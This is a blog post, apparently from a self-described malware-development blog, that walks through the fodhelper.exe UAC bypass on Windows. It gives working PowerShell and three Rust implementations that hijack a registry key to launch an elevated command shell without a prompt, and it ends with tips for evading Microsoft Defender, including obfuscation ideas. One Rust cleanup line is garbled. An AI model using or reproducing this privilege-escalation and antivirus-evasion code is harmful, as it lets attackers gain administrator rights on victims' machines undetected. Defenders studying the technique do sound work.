Mastering the Art of UAC Bypass with fodhelper.exe: A Rust Developer's Guide

Mastering the Art of UAC Bypass with fodhelper.exe: A Rust Developer's Guide

·

12 min read

Introduction

Welcome to the inaugural post of Malware Sloth! I'm thrilled to kick things off with some exciting (to me) material that I hope you'll find both informative and intriguing. What better way to launch than with an in-depth exploration of a User Account Control (UAC) Bypass technique? And not just any technique, but one involving the classic fodhelper.exe – an oldie but a goodie.

What is fodhelper?

fodhelper.exe is a built-in Windows utility designed to manage and facilitate the installation or removal of optional features within the operating system. Part of the Features on Demand (FoD) system in Windows, it allows users to easily customize their system by adding or removing specific components through the Windows Settings interface. This functionality supports the dynamic configuration of the OS, enabling users to tailor the system to their needs without requiring additional installation media. The utility operates by interacting with Windows configuration settings, providing a user-friendly graphical interface for managing the availability of various Windows features.

What is a UAC Bypass?

A UAC bypass is a technique used to circumvent the security feature in Windows known as User Account Control. UAC is designed to prevent unauthorized changes to the operating system by prompting the user for administrative privileges when a program attempts to make changes that require administrator-level permission.

uac user account control prompt example

A UAC bypass, therefore, involves methods or strategies that allow an application or script to execute actions with elevated privileges without triggering the UAC prompt. This enables the execution of potentially harmful operations without the user's knowledge or consent, effectively undermining the security measures that UAC is supposed to provide. UAC bypass techniques are often sought after for malicious purposes, highlighting the importance of understanding and securing against such vulnerabilities in Windows environments.

Understanding the Basics with a PowerShell Script

To lay the groundwork for our exploration of UAC bypass techniques using fodhelper.exe, let's start with a simple PowerShell script. This script demonstrates how to manipulate the Windows Registry to achieve a UAC bypass. Here's the script and a step-by-step breakdown of how it works:

$registryPath = 'HKCU:\Software\Classes\ms-settings\Shell\Open\command';
$command = 'cmd /c start cmd.exe';
$delegateExecute = '';

if (-not (Test-Path $registryPath)) {
    New-Item -Path $registryPath -Force | Out-Null;
}

Set-ItemProperty -Path $registryPath -Name '(Default)' -Value $command;
Set-ItemProperty -Path $registryPath -Name 'DelegateExecute' -Value $delegateExecute;

Start-Process 'C:\Windows\System32\fodhelper.exe' -Verb RunAs;

Step 1: Defining the Registry Path
The script begins by specifying a registry path ($registryPath), which points to a key within the Current User hive. This key is associated with the settings for handling specific commands.

Step 2: Preparing the Command
Next, it prepares a command ($command) to be inserted into the registry. This command is designed to be executed with elevated privileges, in our case we want to execute cmd.exe with that elevation.

Step 3: Checking and Creating the Registry Key
The script checks if the specified registry key exists. If it doesn't, the New-Item cmdlet creates it, ensuring that the script can proceed to modify this key without encountering errors.

Step 4: Modifying Registry Values
With the key in place, the script sets two properties:

  • The (Default) property is set to the command prepared earlier. This makes the command the default action for the specified registry key.

  • The DelegateExecute property is cleared by setting it to an empty string. This step is crucial for the UAC bypass to work, as it prevents the system from requiring elevation under certain circumstances.

Step 5: Executing fodhelper.exe
Finally, the script invokes fodhelper.exe using the Start-Process cmdlet with the -Verb RunAs parameter, which requests elevation. Due to the previous registry modifications, instead of opening the usual Features on Demand UI, Windows executes the command specified in the (Default) registry value under elevated privileges.

Step 6: Removal of UAC from registry

Remove-Item -Path 'HKCU:\Software\Classes\ms-settings\Shell\Open\command' -Recurse

This PowerShell script illustrates a straightforward method of leveraging fodhelper.exe for UAC bypass. By understanding how this script operates, we can appreciate the underlying mechanics of the UAC bypass technique, setting the stage for more complex implementations in Rust.

Moving from PowerShell to Rust

In this segment, we transition from directly interacting with PowerShell to leveraging Rust for script execution. The essence of our approach remains rooted in utilizing PowerShell commands; however, we encapsulate these commands within Rust's std::process::Command module. This adjustment showcases how Rust can serve as an intermediary, executing the same PowerShell-based UAC bypass technique without the need for manual intervention in a PowerShell window. Below, we present a Rust function that essentially replicates the execution of our initial PowerShell script, focusing on invoking the script to modify Windows registry entries and initiate fodhelper.exe with elevated privileges.

use std::process::Command;

fn main() {
    execute_fodhelper_bypass();
}

/// Executes a UAC bypass using the fodhelper technique via previous PowerShell script.
fn execute_fodhelper_bypass() {
    // Step 1: Define the PowerShell script to modify registry and execute cmd.exe with elevated privileges   
    let ps_script = r#"
        $registryPath = 'HKCU:\Software\Classes\ms-settings\Shell\Open\command';
        $command = 'cmd /c start cmd.exe';
        $delegateExecute = '';

        if (-not (Test-Path $registryPath)) {
            New-Item -Path $registryPath -Force | Out-Null;
        }

        Set-ItemProperty -Path $registryPath -Name '(Default)' -Value $command;
        Set-ItemProperty -Path $registryPath -Name 'DelegateExecute' -Value $delegateExecute;

        Start-Process 'C:\Windows\System32\fodhelper.exe' -Verb RunAs;
    "#;

    // Step 2: Execute the PowerShell script to apply the UAC bypass
    let _ = Command::new("powershell")
        .arg("-NoProfile")
        .arg("-ExecutionPolicy")
        .arg("Bypass")
        .arg("-Command")
        .arg(&ps_script)
        .output();

    // Step 3: Clean up by removing the registry keys used for the bypass
    let _ = Command::new("powershell")
        .arg("-NoProfile")
        .arg("-ExecutionPolicy")
        .arg("Bypass")
        .arg("-Command")
        .arg("Remove-Item -Path 'HKCU:\\Software\\Classes\\ms-settings\\Shell\\Open\\command' -Recurse")
        .output();
}

Step 1: Define the PowerShell Script
The code begins by defining a PowerShell script (ps_script) as a string. This script contains our original PowerShell commands to modify the Windows registry and execute cmd.exe with elevated privileges using fodhelper.exe.

Step 2: Execute the PowerShell Script
A new command is created to execute PowerShell using Command::new("powershell"). Additional arguments such as -NoProfile, -ExecutionPolicy, and -Command are provided to configure PowerShell execution settings. The PowerShell script (&ps_script) is passed as an argument to execute the UAC bypass.

Step 3: Clean Up
After executing the UAC bypass, another PowerShell command is executed to remove the registry keys created during the bypass process. This ensures that any changes made to the system registry are reverted, returning the system to its original state.

The Rust application demonstrated above illustrates a practical approach to integrating UAC bypass techniques into broader applications or even malware, utilizing the power of Rust to execute PowerShell scripts efficiently. However, this is just the beginning.

Winreg and Moving Beyond PowerShell

After exploring how to leverage Rust for executing PowerShell scripts to bypass User Account Control (UAC), we now venture into a more Rustacean approach. This section introduces the winreg crate, a Rust library designed as "Rust bindings to MS Windows Registry API". By using winreg, we can modify the registry without relying on PowerShell, providing a cleaner, more integrated solution. However, it's worth noting that PowerShell is still utilized in this context because it offers a straightforward method to execute fodhelper.exe with the necessary privileges.

use winreg::enums::*;
use winreg::RegKey;
use std::process::Command;

fn main() {
    // Step 1: Access the HKEY_CURRENT_USER (hkcu) registry
    let hkcu = RegKey::predef(HKEY_CURRENT_USER);
    // Step 2: Specify the registry path where modifications will be made
    let path = r"Software\Classes\ms-settings\Shell\Open\command";

    // Step 3: Create or open the specified registry key and save it in `key`
    // `_disposition` indicates whether the key was created or opened, but is unused here
    let (key, _disposition) = hkcu.create_subkey(&path).unwrap();

    // Step 4: Set registry values necessary for the UAC bypass
    // The empty string value (default) is set to launch cmd.exe with elevated privileges
    key.set_value("", &"cmd /c start cmd.exe").unwrap();
    // `DelegateExecute` is cleared to ensure direct execution without delegation
    key.set_value("DelegateExecute", &"").unwrap();

    // Step 5: Execute `fodhelper.exe` with elevated privileges via PowerShell
    // This leverages the registry changes made above to bypass UAC
    let ps_command = "Start-Process 'C:\\Windows\\System32\\fodhelper.exe' -Verb RunAs";
    Command::new("powershell")
        .args(&[ps_command])
        .output()
        .expect("Failed to execute fodhelper.exe via PowerShell");

    println!("UAC bypass attempt executed. Please check for elevated cmd.exe window.");

    // Step 6: Sleep for 5 seconds to ensure that the UAC bypass has time to complete
    println!("Sleeping for 5 seconds to allow UAC bypass to complete...");
    std::thread::sleep(std::time::Duration::from_secs(5));

    // Step 7: Clean up the registry by removing the keys used for the bypass
    println!("Cleaning up registry changes...");
    if let Err(e) = hkcu. [(&path) {
        eprintln!("Failed to clean up registry changes: {}", e);
    }
}

Step 1: Access Registry
The code accesses the HKEY_CURRENT_USER (hkcu) registry using the RegKey::predef(HKEY_CURRENT_USER) method. [Docs]

Step 2: Specify Registry Path
It specifies the registry path where modifications will be made, setting it to Software\Classes\ms-settings\Shell\Open\command.

Step 3: Create or Open Registry Key
The code creates or opens the specified registry key (path). It saves the key in key, indicating whether the key was created or opened (although this information is unused in this context). [Docs]

Step 4: Set Registry Values
Registry values necessary for the UAC bypass are set. The empty string value (default) is set to launch cmd.exe with elevated privileges. Additionally, the DelegateExecute value is cleared to ensure direct execution without delegation. [Docs]

Step 5: Execute fodhelper.exe
fodhelper.exe is executed with elevated privileges via PowerShell. This leverages the registry changes made above to bypass UAC.

Step 6: Sleep
The code pauses execution for 5 seconds to ensure that the UAC bypass has time to complete.

Step 7: Clean Up
Registry Registry changes made for the bypass are cleaned up by removing the keys used. Any errors encountered during this process are printed to the standard error stream. [Docs]

The result is a working UAC bypass while not using a PowerShell script to modify the registry.

Leveraging the Windows API

The Windows Application Programming Interface (API) is an essential framework comprising functions and data structures that Windows programs utilize to interact with the operating system. This interaction spans a wide range of operations, from file manipulation to user interface notifications.

In essence, the Windows API acts as a mediator between software applications and the operating system, enabling programs to execute core tasks such as file operations, system queries, and GUI management. The API provides a standardized set of commands for accessing Windows features, ensuring that applications can perform efficiently and reliably across different versions of the operating system. For our specific use case, leveraging the Windows API allows for direct modification of registry values.

The code below shows the use of the rust crate winapi to utilize the Window API to execute our same fodhelper.exe UAC Bypass.

use winapi::um::winreg::{
    RegCreateKeyExW, RegSetValueExW, RegCloseKey, RegDeleteKeyW, HKEY_CURRENT_USER
};
use winapi::um::winnt::{KEY_WRITE, REG_SZ};
use std::ptr::null_mut;
use std::ffi::OsStr;
use std::os::windows::ffi::OsStrExt;
use std::process::Command;

fn main() {
    // Step 1: Define registry path and values
    let sub_key = r"Software\Classes\ms-settings\Shell\Open\command";
    let command = "cmd /c start cmd.exe";
    let delegate_execute = "";

    // Step 2: Convert strings to null-terminated wide strings (UTF-16)
    let sub_key_wide = to_wide_null(sub_key);
    let command_wide = to_wide_null(command);
    let delegate_execute_wide = to_wide_null(delegate_execute);

    unsafe {
        // Step 3: Attempt to create or open the registry key
        let mut hkey = null_mut();
        println!("Attempting to create or open the registry key: {}", sub_key);
        // MSDN: https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexw
        if RegCreateKeyExW(HKEY_CURRENT_USER, sub_key_wide.as_ptr(), 0, null_mut(), 0, KEY_WRITE, null_mut(), &mut hkey, null_mut()) == 0 {
            // Step 4: Set the default value and DelegateExecute value
            println!("Setting the default value to: {}", command);
            // MSDN: https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regsetvalueexw
            RegSetValueExW(hkey, to_wide_null("").as_ptr(), 0, REG_SZ, command_wide.as_ptr() as *const _, (command_wide.len() * 2) as u32);
            println!("Setting the DelegateExecute value to: {}", delegate_execute);
            RegSetValueExW(hkey, to_wide_null("DelegateExecute").as_ptr(), 0, REG_SZ, delegate_execute_wide.as_ptr() as *const _, (delegate_execute_wide.len() * 2) as u32);

            // Step 5: Trigger UAC bypass via fodhelper.exe
            println!("Triggering UAC bypass via fodhelper.exe");
            Command::new("powershell").args(&["Start-Process", "C:\\Windows\\System32\\fodhelper.exe", "-Verb", "RunAs"]).status().expect("Failed to execute fodhelper.exe");

            // Step 6: Sleep for 5
            println!("Sleeping for 5 seconds...");
            std::thread::sleep(std::time::Duration::from_secs(5));

            // Step 7: Cleanup
            println!("Cleaning up registry key: {}", sub_key);
            // MSDN: https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regdeletekeyw
            RegDeleteKeyW(HKEY_CURRENT_USER, sub_key_wide.as_ptr());
            // MSDN: https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regclosekey
            RegCloseKey(hkey);
        }
    }
}

// Helper function to convert Rust string slices to wide strings
fn to_wide_null(s: &str) -> Vec<u16> {
    OsStr::new(s).encode_wide().chain(Some(0).into_iter()).collect()
}

Step 1: Define Registry Path and Values
The code defines the registry path (sub_key) and values (command and delegate_execute) required for the UAC bypass.

Step 2: Convert Strings to Wide Strings
Strings are converted to null-terminated wide strings (UTF-16) using the to_wide_null helper function.

Step 3: Create or Open Registry Key
The code attempts to create or open the registry key specified by sub_key. If successful, it saves the handle to the key in hkey. [WinAPI Docs] [MSDN]

Step 4: Set Registry Values
The default value and DelegateExecute value are set for the registry key. The default value is set to launch cmd.exe with elevated privileges, while DelegateExecute is cleared to ensure direct execution without delegation. [WinAPI Docs] [MSDN]

Step 5: Execute fodhelper.exe
The code triggers the UAC bypass by executing fodhelper.exe with elevated privileges via PowerShell.

Step 6: Sleep
A pause of 5 seconds is introduced to allow time for the UAC bypass to complete.

Step 7: Clean Up Registry
Registry changes made for the bypass are cleaned up by removing the keys used. The registry key specified by sub_key is deleted, and the handle to the registry key (hkey) is closed. [WinAPI Docs] [MSDN]

Utilizing the Window API can be a bit tricky. However, the Microsoft Developer Network (MSDN) documentation is extremely helpful. It provides detailed insights into the appropriate APIs for specific tasks and the inputs that each API requires. You can see from the code block above that I put the links for each MSDN documentation that we used from the Windows API.

Putting it all together and bypassing Microsoft Defender

As you may have noticed, if you tried this code on your own, Microsoft Defender may have prevented your UAC Bypass from working. This is a significant challenge for malware developers, as it's rare to encounter a target with Defender disabled by default. Moreover, since we lack Administrator privileges due to attempting a UAC Bypass, so we wont be able to disable Defender. While circumventing antivirus (AV) could fill an entire book, I'll touch on how with minimal changes to the code we are able to avoid AV. However, it's important to note that this is an ongoing cat-and-mouse game, and what I post here today, may not work tomorrow.

Analyzing our final WinAPI code and experimenting with and commented out different sections while observing Defender's response (as of the time of this writing), we find that the start-process line triggers Defender's block on our Bypass:

Command::new("powershell").args(&["Start-Process", "C:\\Windows\\System32\\fodhelper.exe", "-Verb", "RunAs"]).status().expect("Failed to execute fodhelper.exe");

There are numerous strategies to tackle this issue. Starting with a simple approach, I attempted to remove portions of this command to see if we could still achieve the bypass while having Defender allow the program to run. Surprisingly, removing -Verb "RunAs" proved successful:

Command::new("powershell").args(&["Start-Process", "C:\\Windows\\System32\\fodhelper.exe"]).status().expect("Failed to execute fodhelper.exe");

Now, the application runs without hindrance, and the UAC Bypass functions as intended. It's worth noting that while Defender still flags the program as suspicious, it permits execution. This suffices for our current lesson, but delving deeper into evading Defender warrants a separate discussion. Other methods that could be attempted include something as simple as base64 encoding the command or splitting the command into different portions.

Just for curiosity's sake, here's a Virus Total scan because, well, what malware developer doesn't want to share their work for everyone to scrutinize?

Happy Ending

If you have made it this far, thanks for slothing around! I hope to continue sharing similar content regularly in the future. All the code you see here can be found on the Malware Sloth GitHub. Don't hesitate to subscribe. Your support and feedback are invaluable to me. After all, what's the fun in sharing if nobody's there to see it?

#SlothLife

Disclaimer
The content provided in this post is for educational purposes only. The author does not endorse or encourage any unethical or unlawful use of the information presented. Users are solely responsible for their actions, and the author bears no liability for any misuse of the material. Always adhere to ethical standards and legal guidelines when experimenting with cybersecurity techniques.